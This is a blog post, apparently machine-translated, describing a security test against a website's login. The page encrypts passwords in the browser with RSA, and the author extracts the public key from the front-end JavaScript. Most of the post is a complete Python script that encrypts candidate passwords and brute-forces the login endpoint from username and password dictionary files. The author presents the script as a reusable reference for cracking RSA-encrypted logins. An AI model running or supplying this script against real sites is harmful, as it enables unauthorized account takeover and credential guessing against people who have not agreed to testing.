Python Security Breakthrough RSA Encryption Violent Cracking

Background:
During the security test on a website, we found that the login password is encrypted, and the ciphertext generated by each login of the same password is different. We replayed the login interface with Burp and found that there is no restriction, so we can deduce that it can be cracked by violence.But because the password is encrypted, there is nothing Burp can do with the Violence cracking module, so I wrote a Violence cracking script with Pyhon.

Analysis:
When replaying the login interface with Burp, some parameters were deleted without affecting the response results.It is inferred that to crack violently, you only need to figure out how the password is encrypted and then simulate encryption to OK.In fact, it can be inferred from the length of the encrypted string and the result of each encryption that this should be asymmetric encryption.Again, dare to guess, this is RSA encryption.

Google Developer Tools Simple Analysis Front End JS
1. When you click the Login button, the password will be automatically lengthened (encrypted) and the login will be performed.It can be determined that encryption is a function of the click event of the Login button.
2. Find the function for the onclick event and the JS file where the event is located in the Event Listeners tab on the right.

3. Search for functions for click events on this page

4. Find RSA Public Key and Dependent JS Library

Simulated landing
There are two ways I would like to simulate landing:
1. Extract all the JS files needed for encryption, use Python to manipulate JS to perform encryption, then extract the encrypted string, and use Python to login.However, this example has a large amount of JS code, and is prone to errors (I was unsuccessful) and inefficient when using Python to operate JS, so use the second method below.
2. Use Python for RSA encryption and then simulate login.Today's code is a way to simulate a login for violent cracking.

Code

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# @Time     :2020/1/16 10:29
# @Author   :Donvin.li
# @File     :rsalogin.py

import rsa
import requests
#import threading

# proxies = {'http': 'http://127.0.0.1:8080',
#            'https': 'http://127.0.0.1:8080'}
def login(usr,psd):
    passd=get_rsa_result(psd)
    s=requests.session()
    headers={'Host': 'e.xxxx.com',
             'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0',
             'Accept': 'application/json, text/javascript, */*; q=0.01',
             'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
             'Accept-Encoding': 'gzip, deflate',
             'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
             'X-Requested-With': 'XMLHttpRequest',
             'Origin': 'http://e.xxxx.com',
             'Connection': 'close',
             'Referer': 'http://e.xxxx/portal/',
             }
    postdata={'lang':'cn','userid':usr,'pwd':passd,'cmd':'CLIENT_USER_LOGIN','sid':'','deviceType':'pc','_CACHE_LOGIN_TIME_':'1579162050273','pwdEncode':'RSA','timeZone':'-8'}
    url='http://e.xxxx.com/portal/r/jd'
    rs=s.post(url,postdata,headers=headers)
    result=rs.text
    if 'error' not in result:
        print('Login sucessful:'+usr+':'+psd)
    else:
        print('Not this!')

def get_rsa_result(content):
    """
    //Generates a public key based on the modulus and exponent, and returns the result by using the public key to encrypt the content rsa
    :param e:index
    :param n: modulus
    :param content:String to Encrypt
    :return: Encrypted results
    """
    n = "8bcbceb956d3d6c0da8cd8847e50796eac0fb3d67d4901820fa85dcd8edbb30bd25966eb18223e1ace1308da181897df4559bf97cca6ae9a33a0baf6f53324334a385d2a7cbc186fb5070045080b6c948423e7ddcd795ac9eaa438317772f4a948409ecec92dfe222a10b4c327e8d0e494cc0aa42ebc786030a105da0637049d"
    e = "10001"
    e = int(e, 16)
    n = int(n, 16)

    pub_key = rsa.PublicKey(e=e, n=n)
    m = rsa.encrypt(content.encode(), pub_key)
    #print(m.hex())
    return m.hex()

def Brute(ufile,pfile):
    userfile=open(ufile,'r')
    passdfile=open(pfile,'r')
    for user in userfile:
        usr=user.strip()
        passdfile.seek(0)
        #print(usr)
        for passd in passdfile:
            psd=passd.strip()
            #print(usr,psd)
            login(usr,psd)
            
if __name__ == '__main__':
    Brute('u.txt','p.txt')

Use
u.txt is the user name dictionary and p.txt is the password dictionary.
This example is not versatile and has a very small amount of code. It can be used as a reference for violent cracking of RSA encrypted logins. Of course, in some environments, both encryption and login are more complex than this.The key is to analyze the front-end JS.

Ten original articles published, 3 praised, 279 visited
Private letter follow

Tags: Python Google Session Windows

Posted on Fri, 31 Jan 2020 23:23:01 -0500 by lilywong